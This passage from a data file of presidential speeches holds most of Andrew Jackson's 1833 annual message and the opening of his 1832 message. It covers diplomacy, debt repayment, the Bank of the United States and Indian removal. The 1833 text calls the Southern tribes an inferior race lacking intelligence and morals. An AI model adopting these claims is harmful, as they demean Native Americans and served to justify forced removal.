delay, it is apprehended, will\nnecessarily prevent the completion of the duties assigned to the\ncommissioners within the time at present prescribed by law.The reasons for delaying to communicate these documents have not been\nexplicitly stated, and this is the more to be regretted as it is not\nunderstood that the interposition of the Chambers is in any manner\nrequired for the delivery of those papers.Under these circumstances, in a case so important to the interests of\nour citizens and to the character of our country, and under\ndisappointments so unexpected, I deemed it my duty, however I might\nrespect the general assurances to which I have adverted, no longer to\ndelay the appointment of a minister plenipotentiary to Paris, but to\ndispatch him in season to communicate the result of his application to\nthe French Government at an early period of your session. I accordingly\nappointed a distinguished citizen for this purpose, who proceeded on\nhis mission in August last and was presented to the King early in the\nmonth of October. He is particularly instructed as to all matters\nconnected with the present posture of affairs, and I indulge the hope\nthat with the representations he is instructed to make, and from the\ndisposition manifested by the King and his ministers in their recent\nassurances to our minister at Paris, the subject will be early\nconsidered, and satisfactorily disposed of at the next meeting of the\nChambers.As this subject involves important interests and has attracted a\nconsiderable share of the public attention, I have deemed it proper to\nmake this explicit statement of its actual condition, and should I be\ndisappointed in the hope now entertained the subject will be again\nbrought to the notice of Congress in such manner as the occasion may\nrequire.The friendly relations which have always been maintained between the\nUnited States and Russia have been further extended and strengthened by\nthe treaty of navigation and commerce concluded on December 6th, 1832,\nand sanctioned by the Senate before the close of its last session. The\nratifications having been since exchanged, the liberal provisions of\nthe treaty are now in full force, and under the encouragement which\nthey have secured a flourishing and increasing commerce, yielding its\nbenefits to the enterprise of both nations, affords to each the just\nrecompense of wise measures, and adds new motives for that mutual\nfriendship which the two countries have hitherto cherished toward each\nother.It affords me peculiar satisfaction to state that the Government of\nSpain has at length yielded to the justice of the claims which have\nbeen so long urged in behalf of our citizens, and has expressed a\nwillingness to provide an indemnification as soon as the proper amount\ncan be agreed upon. Upon this latter point it is probable an\nunderstanding had taken place between the minister of the United States\nand the Spanish Government before the decease of the late King of\nSpain; and, unless that event may have delayed its completion, there is\nreason to hope that it may be in my power to announce to you early in\nyour present session the conclusion of a convention upon terms not less\nfavorable than those entered into for similar objects with other\nnations. That act of justice would well accord with the character of\nSpain, and is due to the United States from their ancient friend. It\ncould not fail to strengthen the sentiments of amity and good will\nbetween the two nations which it is so much the wish of the United\nStates to cherish and so truly the interest of both to maintain.By the first section of an act of Congress passed on July 13th, 1832\nthe tonnage duty on Spanish ships arriving from the ports of Spain\nprevious to October 20th, 1817, being five cents per ton. That act was\nintended to give effect on our side to an arrangement made with the\nSpanish Government by which discriminating duties of tonnage were to be\nabolished in the ports of the United States and Spain on he vessels of\nthe two nations. Pursuant to that arrangement, which was carried into\neffect on the part of Spain on May 20th, 1832, by a royal order dated\nApril 29th, 1832, American vessels in the ports of Spain have paid five\ncents per ton, which rate of duty is also paid in those ports by\nSpanish ships; but as American vessels pay no tonnage duty in the ports\nof the United States, the duty of five cents payable in our ports by\nSpanish vessels under the act above mentioned is really a\ndiscriminating duty, operating to the disadvantage of Spain.Though no complaint has yet been made on the part of Spain, we are not\nthe less bound by the obligations of good faith to remove the\ndiscrimination, and I recommend that the act be amended accordingly. As\nthe royal order above alluded to includes the ports of the Balearic and\nCanary islands as well as those of Spain, it would seem that the\nprovisions of the act of Congress should be equally extensive, and that\nfor the repayments of such duties as may have been improperly received\nan addition should be made to the sum appropriated at the last session\nof Congress for refunding discriminating duties.As the arrangement referred to, however, did not embrace the islands of\nCuba and Puerto Rico, discriminating duties to the prejudice of\nAmerican shipping continue to be levied there. From the extent of the\ncommerce carried on between the United States and those islands,\nparticularly the former, this discrimination causes serious injury to\none of those great national interests which it has been considered an\nessential part of our policy to cherish, and has given rise to\ncomplaints on the part of our merchants. Under instructions given to\nour minister at Madrid, earnest representations have been made by him\nto the Spanish Government upon this subject, and there is reason to\nexpect, from the friendly disposition which is entertained toward this\ncountry, that a beneficial change will be produced.The disadvantage, however, to which our shipping is subjected by the\noperation of these discriminating duties requires that they be met by\nsuitable countervailing duties during your present session, power being\nat the same time vested in the President to modify or discontinue them\nas the discriminating duties on American vessels or their cargoes may\nbe modified or discontinued at those islands. Intimations have been\ngiven to the Spanish Government that the United States may be obliged\nto resort to such measures as are of necessary self-defense, and there\nis no reason to apprehend that it would be unfavorably received. The\nproposed proceeding if adopted would not be permitted, however, in any\ndegree to induce a relaxation in the efforts of our minister to effect\na repeal of this irregularity by friendly negotiation, and it might\nserve to give force to his representations by showing the dangers to\nwhich that valuable trade is exposed by the obstructions and burdens\nwhich a system of discriminating and countervailing duties necessarily\nproduces.The selection and preparation of the Florida archives for the purpose\nof being delivered over to the United States, in conformity with the\nroyal order as mentioned in my last annual message, though in progress,\nhas not yet been completed. This delay has been produced partly by\ncauses which were unavoidable, particularly the prevalence of the\ncholera at Havana; but measures have been taken which it is believed\nwill expedite the delivery of those important records.Congress were informed at the opening of the last session that \"owing,\nas was alleged, to embarrassments in the finances of Portugal,\nconsequent upon the civil war in which that nation was engaged\",\npayment had been made of only one installment of the amount which the\nPortuguese Government had stipulated to pay for indemnifying our\ncitizens for property illegally captured in the blockade of Terceira.\nSince that time a postponement for two years, with interest, of the two\nremaining installments was requested by the Portuguese Government, and\nas a consideration it offered to stipulate that rice of the United\nStates should be admitted into Portugal at the same duties as Brazilian\nrice. Being satisfied that no better arrangement could be made, my\nconsent was given, and a royal order of the King of Portugal was\naccordingly issued on February 4th, 1833 for the reduction of the duty\non rice of the United States. It would give me great pleasure if in\nspeaking of that country, in whose prosperity the United States are so\nmuch interested, and with whom a long-subsisting, extensive, and\nmutually advantageous commercial intercourse has strengthened the\nrelation of friendship, I could announce to you the restoration of its\ninternal tranquillity.Subsequently to the commencement of the last session of Congress the\nfinal installment payable by Denmark under the convention of March\n28th, 1830 was received. The commissioners for examining the claims\nhave since terminated their labors, and their awards have been paid at\nthe Treasury as they have been called for. The justice rendered to our\ncitizens by that Government is thus completed, and a pledge is thereby\nafforded for the maintenance of that friendly intercourse becoming the\nrelations that the two nations mutually bear to each other.It is satisfactory to inform you that the Danish Government have\nrecently issued an ordinance by which the commerce with the island of\nSt. Croix is placed on a more liberal footing than heretofore. This\nchange can not fail to prove beneficial to the trade between the United\nStates and that colony, and the advantages likely to flow from it may\nlead to greater relaxations in the colonial systems of other nations.The ratifications of the convention with the King of the two Sicilies\nhave been duly exchanged, and the commissioners appointed for examining\nthe claims under it have entered upon the duties assigned to them by\nlaw. The friendship that the interests of the two nations require of\nthem being now established, it may be hoped that each will enjoy the\nbenefits which a liberal commerce should yield to both.A treaty of amity and commerce between the United States and Belgium\nwas concluded during the last winter and received the sanction of the\nSenate, but the exchange of the ratifications has been hitherto\ndelayed, in consequence, in the first instance, of some delay in the\nreception of the treaty at Brussels, and, subsequently, of the absence\nof the Belgian minister of foreign affairs at the important conferences\nin which his Government is engaged at London. That treaty does but\nembody those enlarged principles of friendly policy which it is\nsincerely hoped will always regulate the conduct of the two nations\nhaving such strong motives to maintain amicable relations toward each\nother and so sincerely desirous to cherish them.With all the other European powers with whom the United States have\nformed diplomatic relations and with the Sublime Porte the best\nunderstanding prevails. From all I continue to receive assurances of\ngood will toward the United States--assurances which it gives me no\nless pleasure to reciprocate than to receive. With all, the engagements\nwhich have been entered into are fulfilled with good faith on both\nsides. Measures have also been taken to enlarge our friendly relations\nand extend our commercial intercourse with other States. The system we\nhave pursued of aiming at no exclusive advantages, of dealing with all\non terms of fair and equal reciprocity, and of adhering scrupulously to\nall our engagements is well calculated to give success to efforts\nintended to be mutually beneficial.The wars of which the southern part of this continent was so long the\ntheater, and which were carried on either by the mother country against\nthe States which had formerly been her colonies or by the States\nagainst each other, having terminated, and their civil dissensions\nhaving so far subsided as with few exceptions no longer to disturb the\npublic tranquillity, it is earnestly hoped those States will be able to\nemploy themselves without interruption in perfecting their\ninstitutions, cultivating the arts of peace, and promoting by wise\ncouncils and able exertions the public and private prosperity which\ntheir patriotic struggles so well entitle them to enjoy.With those States our relations have under-gone but little change\nduring the present year. No reunion having yet taken place between the\nStates which composed the Republic of Colombia, our charge d'affaires\nat Bogota has been accredited to the Government of New Grenada, and we\nhave, therefore, no diplomatic relations with Venezuela and Equator,\nexcept as they may be included in those heretofore formed with the\nColombian Republic.It is understood that representatives from the three states were about\nto assemble at Bogota to confer on the subject of their mutual\ninterests, particularly that of their union, and if the result should\nrender it necessary, measures will be taken on our part to preserve\nwith each that friendship and those liberal commercial connections\nwhich it has been the constant desire of the United States to cultivate\nwith their sister Republics of this hemisphere. Until the important\nquestion of reunion shall be settled, however, the different matters\nwhich have been under discussion between the United States and the\nRepublic of Colombia, or either of the States which composed it, are\nnot likely to be brought to a satisfactory issue.In consequence of the illness of the charge d'affaires appointed to\nCentral America at the last session of Congress, he was prevented from\nproceeding on his mission until the month of October. It is hoped,\nhowever, that he is by this time at his post, and that the official\nintercourse, unfortunately so long interrupted, has been thus renewed\non the part of the two nations so amicably and advantageously connected\nby engagements founded on the most enlarged principles of commercial\nreciprocity.It is gratifying to state that since my last annual message some of the\nmost important claims of our fellow citizens upon the Government of\nBrazil have been satisfactorily adjusted, and a reliance is placed on\nthe friendly dispositions manifested by it that justice will also be\ndone in others. No new causes of complaint have arisen, and the trade\nbetween the two countries flourishes under the encouragement secured to\nit by the liberal provisions of the treaty.It is cause of regret that, owing, probably, to the civil dissensions\nwhich have occupied the attention of the Mexican Government, the time\nfixed by the treaty of limits with the United States for the meeting of\nthe commissioners to define the boundaries between the two nations has\nbeen suffered to expire without the appointment of any commissioners on\nthe part of that Government. While the true boundary remains in doubt\nby either party it is difficult to give effect to those measures which\nare necessary to the protection and quiet of our numerous citizens\nresiding near that frontier. The subject is one of great solicitude to\nthe United States, and will not fail to receive my earnest attention.The treaty concluded with Chili and approved by the Senate at its last\nsession was also ratified by the Chilian Government, but with certain\nadditional and explanatory articles of a nature to have required it to\nbe again submitted to the Senate. The time limited for the exchange of\nthe ratification, however, having since expired, the action of both\nGovernments on the treaty will again become necessary.The negotiations commenced with the Argentine Republic relative to the\noutrages committed on our vessels engaged in the fisheries at the\nFalkland Islands by persons acting under the color of its authority, as\nwell as the other matters in controversy between the two Governments,\nhave been suspended by the departure of the charge d'affaires of the\nUnited States from Buenos Ayres. It is understood, however, that a\nminister was subsequently appointed by that Government to renew the\nnegotiation in the United States, but though daily expected he has not\nyet arrived in this country.With Peru no treaty has yet been formed, and with Bolivia no diplomatic\nintercourse has yet been established. It will be my endeavor to\nencourage those sentiments of amity and that liberal commerce which\nbelong to the relations in which all the independent States of this\ncontinent stand toward each other.I deem it proper to recommend to your notice the revision of our\nconsular system. This has become an important branch of the public\nservice, in as much as it is intimately connected with the preservation\nof our national character abroad, with the interest of our citizens in\nforeign countries, with the regulation and care of our commerce, and\nwith the protection of our sea men. At the close of the last session of\nCongress I communicated a report from the Secretary of State upon the\nsubject, to which I now refer, as containing information which may be\nuseful in any inquiries that Congress may see fit to institute with a\nview to a salutary reform of the system.It gives me great pleasure to congratulate you upon the prosperous\ncondition of the finances of the country, as will appear from the\nreport which the Secretary of the Treasury will in due time lay before\nyou. The receipts into the Treasury during the present year will amount\nto more than $32,000,000. The revenue derived from customs will, it is\nbelieved, be more than $28,000,000, and the public lands will yield\nabout $3,0900,000. The expenditures within the year for all objects,\nincluding $2,572,240.99 on account of the public debt, will not amount\nto $25,000,000, and a large balance will remain in the Treasury after\nsatisfying all the appropriations chargeable on the revenue for the\npresent year.The measures taken by the Secretary of the Treasury will probably\nenable to pay off in the course of the present year the residue of the\nexchanged 4.5% stock, redeemable on January 1st, 1834. It has therefore\nbeen included in the estimated expenditures of this year, and forms a\npart of the sum above stated to have been paid on account of the public\ndebt. The payment of this stock will reduce the whole debt of the\nUnited States, funded and unfunded, to the sum of $4,760,082.08, and as\nprovision has already been made for the 4.5% stocks above mentioned,\nand charged in the expenses of the present year, the sum last stated is\nall that now remains of the national debt; and the revenue of the\ncoming year, together with the balance now in the Treasury, will be\nsufficient to discharge it, after meeting the current expenses of the\nGovernment. Under the power given to the commissioners of the sinking\nfund, it will, I have no doubt, be purchased on favorable terms within\nthe year.From this view of the state of the finances and the public engagements\nyet to be fulfilled you will perceive that if Providence permits me to\nmeet you at another session I shall have the high gratification of\nannouncing to you that the national debt is extinguished. I can not\nrefrain from expressing the pleasure I feel at the near approach of\nthat desirable event. The short period of time within which the public\ndebt will have been discharged is strong evidence of the abundant\nresources of the country and of the prudence and economy with which the\nGovernment has heretofore been administered. We have waged two wars\nsince we became a nation, with one of the most powerful kingdoms in the\nworld, both of them undertaken in defense of our dearest rights, been\nsuccessfully prosecuted and honorably terminated; and many of those who\npartook in the first struggle as well as in the second will have lived\nto see the last item of the debt incurred in these necessary but\nexpensive conflicts faithfully and honestly discharged. And we shall\nhave the proud satisfaction of bequeathing to the public servants who\nfollow us in the administration of the Government the rare blessing of\na revenue sufficiently abundant, raised without injustice or oppression\nto our citizens, and unencumbered with any burdens but what they\nthemselves shall think proper to impose upon it.The flourishing state of the finances ought not, however, to encourage\nus to indulge in a lavish expenditure of the public treasure. The\nreceipts of the present year do not furnish the test by which we are to\nestimate the income of the next. The changes made in our revenue system\nby the acts of Congress of 1832 and 1833, and more especially by the\nformer, have swelled the receipts of the present year far beyond the\namount to be expected in future years upon the reduced tariff of\nduties. The shortened credits on revenue bonds and the cash duties on\nwoolens which were introduced by the act of 1832, and took effect on\nMarch 4th, 1832, have brought large sums into the Treasury in 1833,\nwhich, according to the credits formerly given, would not have been\npayable until 1834, and would have formed a part of the income of that\nyear. These causes would of themselves produce a great diminution of\nthe receipts in the year 1834 as compared with the present one, and\nthey will be still more diminished by the reduced rates of duties which\ntake place on January 1st, 1834 on some of the most important and\nproductive articles.Upon the best estimates that can be made the receipts of the next year,\nwith the aid of the unappropriated amount now in the Treasury, will not\nbe much more than sufficient to meet the expenses of the year and pay\nthe small remnant of the national debt which yet remains unsatisfied. I\ncan not, therefore, recommend to you any alteration in the present\ntariff of duties. The rate as now fixed by law on the various articles\nwas adopted at the last session of Congress, as a matter of compromise,\nwith unusual unanimity, and unless it is found to produce more than the\nnecessities of the Government call for there would seem to be no reason\nat this time to justify a change.But while I forbear to recommend any further reduction of the duties\nbeyond that already provided for by the existing laws, I must earnestly\nand respectfully press upon Congress the importance of abstaining from\nall appropriations which are not absolutely required for the public\ninterest and authorized by the powers clearly delegated to the United\nStates. We are beginning a new era in our Government. The national\ndebt, which has so long been a burden on the Treasury, will be finally\ndischarged in the course of the ensuing year. No more memory will\nafterwards be needed than what may be necessary to meet the ordinary\nexpenses of the Government. Now, then, is the proper moment to fix our\nsystem of expenditure on firm and durable principles, and I can not too\nstrongly urge the necessity of a rigid economy and an inflexible\ndetermination not to enlarge the income beyond the real necessities of\nthe Government and not to increase the wants of the Government by\nunnecessary and profuse expenditures.If a contrary course should be pursued, it may happen that the revenue\nof 1834 will fall short of the demands upon it, and after reducing the\ntariff in order to lighten the burdens of the people, and providing for\na still further reduction to take effect hereafter, it would be much to\nbe deplored if at the end of another year we should find ourselves\nobliged to retrace our steps and impose additional taxes to meet\nunnecessary expenditures.It is my duty on this occasion to call your attention to the\ndestruction of the public building occupied by the Treasury Department,\nwhich happened since the last adjournment of Congress. A thorough\ninquiry into the causes of this loss was directed and made at the time,\nthe result of which will be duly communicated to you. I take pleasure,\nhowever, in stating here that by the laudable exertions of the officers\nof the Department and many of the citizens of the District but few\npapers were lost, and none that will materially affect the public\ninterest.The public convenience requires that another building should be erected\nas soon as practicable, and in providing for it it will be advisable to\nenlarge in some manner the accommodations for the public officers of\nthe several Departments, and to authorize the erection of suitable\ndepositories for the safe-keeping of the public documents and records.Since the last adjournment of Congress the Secretary of the Treasury\nhas directed the money of the United States to be deposited in certain\nState banks designated by him, and he will immediately lay before you\nhis reasons for this direction. I concur with him entirely in the view\nhe has taken on the subject, and some months before the removal I urged\nupon the Department the propriety of taking that step. The near\napproach of the day on which the charger will expire, as well as the\nconduct of the bank, appeared to me to call for this measure upon the\nhigh considerations of public interest and public duty. The extent of\nits misconduct, however, although known to be great, was not at that\ntime fully developed by proof. It was not until late in the month of\nAugust that I received from the Government directors an official report\nestablishing beyond question that this great and powerful institution\nhad been actively engaged in attempting to influence the elections of\nthe public officers by means of its money, and that, in violation of\nthe express provisions of its charter, it had by a formal resolution\nplaced its funds at the disposition of its president to be employed in\nsustaining the political power of the bank. A copy of this resolution\nis contained in the report of the Government directors before referred\nto, and how ever the object may be disguised by cautious language, no\none can doubt that this money was in truth intended for electioneering\npurposes, and the particular uses to which it was proved to have been\napplied abundantly show that it was so understood. Not only was the\nevidence complete as to the past application of the money and power of\nthe bank to electioneering purposes, but that the resolution of the\nboard of directors authorized the same course to be pursued in future.It being thus established by unquestionable proof that the Bank of the\nUnited States was converted into a permanent electioneering engine, it\nappeared to me that the path of duty which the executive department of\nthe Government ought to pursue was not doubtful. As by the terms of the\nbank charter no officer but the Secretary of the Treasury could remove\nthe deposits, it seemed to me that this authority ought to be at once\nexerted to deprive that great corporation of the support and\ncountenance of the Government in such an use of its and such an\nexertion of its power. In this point of the case the question is\ndistinctly presented whether the people of the United States are to\ngovern through representatives chosen by their unbiased suffrages or\nwhether the money and power of a great corporation are to be secretly\nexerted to influence their judgment and control their decisions. It\nmust now be determined whether the bank is to have its candidates for\nall offices in the country, from the highest to the lowest, or whether\ncandidates on both sides of political questions shall be brought\nforward as heretofore and supported by the usual means.At this time the efforts of the bank to control public opinion, through\nthe distresses of some and the fears of others, are equally apparent,\nand, if possible, more objectionable. By a curtailment of its\naccommodations more rapid than any emergency requires, and even while\nit retains specie to an almost unprecedented amount in its vaults, it\nis attempting to produce great embarrassment in one portion of the\ncommunity, while through presses known to have been sustained by its\nmoney it attempts by unfounded alarms to create a panic in all.These are the means by which it seems to expect that it can force a\nrestoration of the deposits, and as a necessary consequence extort from\nCongress a renewal of its charter. I am happy to know that through the\ngood sense of our people the effort to get up a panic has hitherto\nfailed, and that through the increased accommodations which the State\nbanks have been enabled to afford, no public distress has followed the\nexertions of the bank, and it can not be doubted that the exercise of\nits power and the expenditure of its money, as well as its efforts to\nspread groundless alarm, will be met and rebuked as they deserve. In my\nown sphere of duty I should feel myself called on by the facts\ndisclosed to order a scire facias against the bank, with a view to put\nan end to the chartered rights it has so palpably violated, were it not\nthat the charter itself will expire as soon as a decision would\nprobably be obtained from the court of last resort.I called the attention of Congress to this subject in my last annual\nmessage, and informed them that such measures as were within the reach\nof the Secretary of the Treasury had been taken to enable him to judge\nwhether the public deposits in the Bank of the United States were\nentirely safe; but that as his single powers might be inadequate to the\nobject, I recommended the subject to Congress as worthy of their\nserious investigation, declaring it as my opinion that an inquiry into\nthe transactions of that institution, embracing the branches as well as\nthe principal bank, was called for by the credit which was given\nthroughout the country to many serious charges impeaching their\ncharacter, and which, if true, might justly excite the apprehension\nthat they were no longer a safe depository for the public money. The\nextent to which the examination thus recommended was gone into is\nspread upon your journals, and is too well known to require to be\nstated. Such as was made resulted in a report from a majority of the\nCommittee of Ways and Means touching certain specified points only,\nconcluding with a resolution that the Government deposits might safely\nbe continued in the Bank of the United States. This resolution was\nadopted at the close of the session by the vote of a majority of the\nHouse of Representatives.Although I may not always be able to concur in the views of the public\ninterest or the duties of its agents which may be taken by the other\ndepartments of the Government or either of its branches, I am, not\nwithstanding, wholly incapable of receiving otherwise than with the\nmost sincere respect all opinions or suggestions proceeding from such a\nsource, and in respect to none am I more inclined to do so than to the\nHouse of Representatives. But it will be seen from the brief views at\nthis time taken of the subject by myself, as well as the more ample\nones presented by the Secretary of the Treasury, that the change in the\ndeposits which has been ordered has been deemed to be called for by\nconsiderations which are not affected by the proceedings referred to,\nand which, if correctly viewed by that Department, rendered its act a\nmatter of imperious duty.Coming as you do, for the most part, immediately from the people and\nthe States by election, and possessing the fullest opportunity to know\ntheir sentiments, the present Congress will be sincerely solicitous to\ncarry into full and fair effect the will of their constituents in\nregard to this institution. It will be for those in whose behalf we all\nact to decide whether the executive department of the Government, in\nthe steps which it has taken on this subject, has been found in the\nline of its duty.The accompanying report of the Secretary of War, with the documents\nannexed to it, exhibits the operations of the War Department for the\npast year and the condition of the various subjects intrusted to its\nadministration.It will be seen from them that the Army maintains the character it has\nheretofore acquired for efficiency and military knowledge. Nothing has\noccurred since your last session to require its services beyond the\nordinary routine duties which upon the sea-board and the in-land\nfrontier devolve upon it in a time of peace. The system so wisely\nadopted and so long pursued of constructing fortifications at exposed\npoints and of preparing and collecting the supplies necessary for the\nmilitary defense of the country, and thus providently furnishing in\npeace the means of defense in war, has been continued with the usual\nresults. I recommend to your consideration the various subjects\nsuggested in the report of the Secretary of War. Their adoption would\npromote the public service and meliorate the condition of the Army.Our relations with the various Indian tribes have been undisturbed\nsince the termination of the difficulties growing out of the hostile\naggressions of the Sac and Fox Indians. Several treaties have been\nformed for the relinquishment of territory to the United States and for\nthe migration of the occupants of the region assigned for their\nresidence West of the Mississippi. Should these treaties be ratified by\nthe Senate, provision will have been made for the removal of almost all\nthe tribes remaining E of that river and for the termination of many\ndifficult and embarrassing questions arising out of their anomalous\npolitical condition.It is to be hoped that those portions of two of the Southern tribes,\nwhich in that event will present the only remaining difficulties, will\nrealize the necessity of emigration, and will speedily resort to it. My\noriginal convictions upon this subject have been confirmed by the\ncourse of events for several years, and experience is every day adding\nto their strength. That those tribes can not exist surrounded by our\nsettlements and in continual contact with our citizens is certain. They\nhave neither the intelligence, the industry, the moral habits, nor the\ndesire of improvement which are essential to any favorable change in\ntheir condition. Established in the midst of another and a superior\nrace, and without appreciating the causes of their inferiority or\nseeking to control them, they must necessarily yield to the force of\ncircumstances and ere long disappear.Such has been their fate heretofore, and if it is to be averted--and it\nis--it can only be done by a general removal beyond our boundary and by\nthe reorganization of their political system upon principles adapted to\nthe new relations in which they will be placed. The experiment which\nhas been recently made has so far proved successful. The emigrants\ngenerally are represented to be prosperous and contented, the country\nsuitable to their wants and habits, and the essential articles of\nsubsistence easily procured. When the report of the commissioners now\nengaged in investigating the condition and prospects of these Indians\nand in devising a plan for their intercourse and government is\nreceived, I trust ample means of information will be in possession of\nthe Government for adjusting all the unsettled questions connected with\nthis interesting subject.The operations of the Navy during the year and its present condition\nare fully exhibited in the annual report from the Navy Department.Suggestions are made by the Secretary of various improvements, which\ndeserve careful consideration, and most of which, if adopted, bid fair\nto promote the efficiency of this important branch of the public\nservice. Among these are the new organization of the Navy Board, the\nrevision of the pay to officers, and a change in the period of time or\nin the manner of making the annual appropriations, to which I beg leave\nto call your particular attention.The views which are presented on almost every portion of our naval\nconcerns, and especially on the amount of force and the number of\nofficers, and the general course of policy appropriate in the present\nstate of our country for securing the great and useful purposes of\nnaval protection in peace and due preparation for the contingencies of\nwar, meet with my entire approbation.It will be perceived from the report referred to that the fiscal\nconcerns of the establishment are in an excellent condition, and it is\nhoped that Congress may feel disposed to make promptly every suitable\nprovision desired either for preserving or improving the system.The general Post Office Department has continued, upon the strength of\nits own resources, to facilitate the means of communication between the\nvarious portions of the Union with increased activity. The method,\nhowever, in which the accounts of the transportation of the mail have\nalways been kept appears to have presented an imperfect view of its\nexpenses. It has recently been discovered that from the earliest\nrecords of the Department the annual statements have been calculated to\nexhibit an amount considerably short of the actual expense incurred for\nthat service. These illusory statements, together with the expense of\ncarrying into effect the law of the last session of Congress\nestablishing new mail routes, and a disposition on the part of the head\nof the Department to gratify the wishes of the public in the extension\nof mail facilities, have induced him to incur responsibilities for\ntheir improvement beyond what the current resources of the Department\nwould sustain. As soon as he had discovered the imperfection of the\nmethod he caused an investigation to be made of its results and applied\nthe proper remedy to correct the evil. It became necessary for him to\nwithdraw some of the improvements which he had made to bring the\nexpenses of the Department within its own resources. These expenses\nwere incurred for the public good, and the public have enjoyed their\nbenefit. They are now but partially suspended, and that where they may\nbe discontinued with the least inconvenience to the country.The progressive increase in the income from postages has equaled the\nhighest expectations, and it affords demonstrative evidence of the\ngrowing importance and great utility of this Department. The details\nare exhibited in the accompanying report of the Post Master General.The many distressing accidents which have of late occurred in that\nportion of our navigation carried on by the use of steam power deserve\nthe immediate and unremitting attention of the constituted authorities\nof the country. The fact that the number of those fatal disasters is\nconstantly increasing, not withstanding the great improvements which\nare every where made in the machinery employed and in the rapid\nadvances which have made in that branch of science, shows very clearly\nthat they are in a great degree the result of criminal negligence on\nthe part of those by whom the vessels are navigated and to whose care\nand attention the lives and property of our citizens are so extensively\nintrusted.That these evils may be greatly lessened, if not substantially removed,\nby means of precautionary and penal legislation seems to be highly\nprobably. So far, therefore, as the subject can be regarded as within\nthe constitutional purview of Congress I earnestly recommend it to your\nprompt and serious consideration.I would also call your attention to the views I have heretofore\nexpressed of the propriety of amending the Constitution in relation to\nthe mode of electing the President and the Vice-President of the United\nStates. Regarding it as all important to the future quiet and harmony\nof the people that every intermediate agency in the election of these\nofficers should be removed and that their eligibility should be limited\nto one term of either four or six years, I can not too earnestly invite\nyour consideration of the subject.Trusting that your deliberations on all the topics of general interest\nto which I have adverted, and such others as your more extensive\nknowledge of the wants of our beloved country may suggest, may be\ncrowned with success, I tender you in conclusion the cooperation which\nit may be in my power to afford them.", 
+    "name": "Andrew Jackson"
+}
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+{
+    "date": "December 4, 1832", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:It gives me pleasure to congratulate you upon your return to the seat\nof Government for the purpose of discharging your duties to the people\nof the United States. Although the pestilence which had traversed the\nOld World has entered our limits and extended its ravages over much of\nour land, it has pleased Almighty God to mitigate its severity and\nlessen the number of its victims compared with those who have fallen in\nmost other countries over which it has spread its terrors. Not with\nstanding this visitation, our country presents on every side marks of\nprosperity and happiness unequaled, perhaps, in any other portion of\nthe world. If we fully appreciate our comparative condition, existing\ncauses of discontent will appear unworthy of attention, and, with\nhearts of thankfulness to that divine Being who has filled our cup of\nprosperity, we shall feel our resolution strengthened to preserve and\nhand down to our posterity that liberty and that union which we have\nreceived from our fathers, and which constitute the sources and the\nshield of all our blessings.The relations of our country continue to present the same picture of\namicable intercourse that I had the satisfaction to hold up to your\nview at the opening of your last session. The same friendly\nprofessions, the same desire to participate in our flourishing\ncommerce, the same dispositions, evinced by all nations with whom we\nhave any intercourse. This desirable state of things may be mainly\nascribed to our undeviating practice of the rule which has long guided\nour national policy, to require no exclusive privileges in commerce and\nto grant none. It is daily producing its beneficial effect in the\nrespect shown to our flag, the protection of our citizens and their\nproperty abroad, and in the increase of our navigation and the\nextension of our mercantile operations. The returns which have been\nmade out since we last met will show an increase during the last\npreceding year of more than 80 thousand tons in our shipping and of\nnear $40,000,000 in the aggregate of our imports and exports.Nor have we less reason to felicitate ourselves on the position of our\npolitical than of our commercial concerns. They remain in the state in\nwhich they were when I last addressed you--a state of prosperity and\npeace, the effect of a wise attention to the parting advice of the\nrevered Father of his Country on this subject, condensed into a maxim\nfor the use of posterity by one of his most distinguished\nsuccessors--to cultivate free commerce and honest friendship with all\nnations, but to make entangling alliances with none. A strict adherence\nto this policy has kept us aloof from the perplexing questions that now\nagitate the European world and have more than once deluged those\ncountries with blood. Should those scenes unfortunately recur, the\nparties to the contest may count on a faithful performance of the\nduties incumbent on us as a neutral nation, and our own citizens may\nequally rely on the firm assertion of their neutral rights.With the nation that was our earliest friend and ally in the infancy of\nour political existence the most friendly relations have subsisted\nthrough the late revolutions of its Government, and, from the events of\nthe last, promise a permanent duration. It has made an approximation in\nsome of its political institutions to our own, and raised a monarch to\nthe throne who preserves, it is said, a friendly recollection of the\nperiod during which he acquired among our citizens the high\nconsideration that could then have been produced by his personal\nqualifications alone.Our commerce with that nation is gradually assuming a mutually\nbeneficial character, and the adjustment of the claims of our citizens\nhas removed the only obstacle there was to an intercourse not only\nlucrative, but productive of literary and scientific improvement.From Great Britain I have the satisfaction to inform you that I\ncontinue to receive assurances of the most amicable disposition, which\nhave on my part on all proper occasions been promptly and sincerely\nreciprocated. The attention of that Government has latterly been so\nmuch engrossed by matters of a deeply interesting domestic character\nthat we could not press upon it the renewal of negotiations which had\nbeen unfortunately broken off by the unexpected recall of our minister,\nwho had commenced them with some hopes of success. My great object was\nthe settlement of questions which, though now dormant, might here-after\nbe revived under circumstances that would endanger the good\nunderstanding which it is the interest of both parties to preserve\ninviolate, cemented as it is by a community of language, manners, and\nsocial habits, and by the high obligations we owe to our British\nancestors for many of our most valuable institutions and for that\nsystem of representative government which has enabled us to preserve\nand improve them.  The question of our North-East boundary still\nremains unsettled. In my last annual message I explained to you the\nsituation in which I found that business on my coming into office, and\nthe measures I thought it my duty to pursue for asserting the rights of\nthe United States before the sovereign who had been chosen by my\npredecessor to determine the question, and also the manner in which he\nhad disposed of it. A special message to the Senate in their executive\ncapacity afterwards brought before them to the question whether they\nwould advise a submission to the opinion of the sovereign arbiter. That\nbody having considered the award as not obligatory and advised me to\nopen a further negotiation, the proposition was immediately made to the\nBritish Government, but the circumstances to which I have alluded have\nhitherto prevented any answer being given to the overture. Early\nattention, however, has been promised to the subject, and every effort\non my part will be made for a satisfactory settlement of this question,\ninteresting to the Union generally, and particularly so to one of its\nmembers.The claims of our citizens on Spain are not yet acknowledged. On a\ncloser investigation of them than appears to have heretofore taken\nplace it was discovered that some of these demands, however strong they\nmight be upon the equity of that Government, were not such as could be\nmade the subject of national interference; and faithful to the\nprinciple of asking nothing but what was clearly right, additional\ninstructions have been sent to modify our demands so as to embrace\nthose only on which, according to the laws of nations, we had a strict\nright to insist. An inevitable delay in procuring the documents\nnecessary for this review of the merits of these claims retarded this\noperation until an unfortunate malady which has afflicted His Catholic\nMajesty prevented an examination of them. Being now for the first time\npresented in an unexceptionable form, it is confidently hoped that the\napplication will be successful.I have the satisfaction to inform you that the application I directed\nto be made for the delivery of a part of the archives of Florida, which\nhad been carried to The Havannah, has produced a royal order for their\ndelivery, and that measures have been taken to procure its execution.By the report of the Secretary of State communicated to you on June\n25th, 1832 you were informed of the conditional reduction obtained by\nthe minister of the United States at 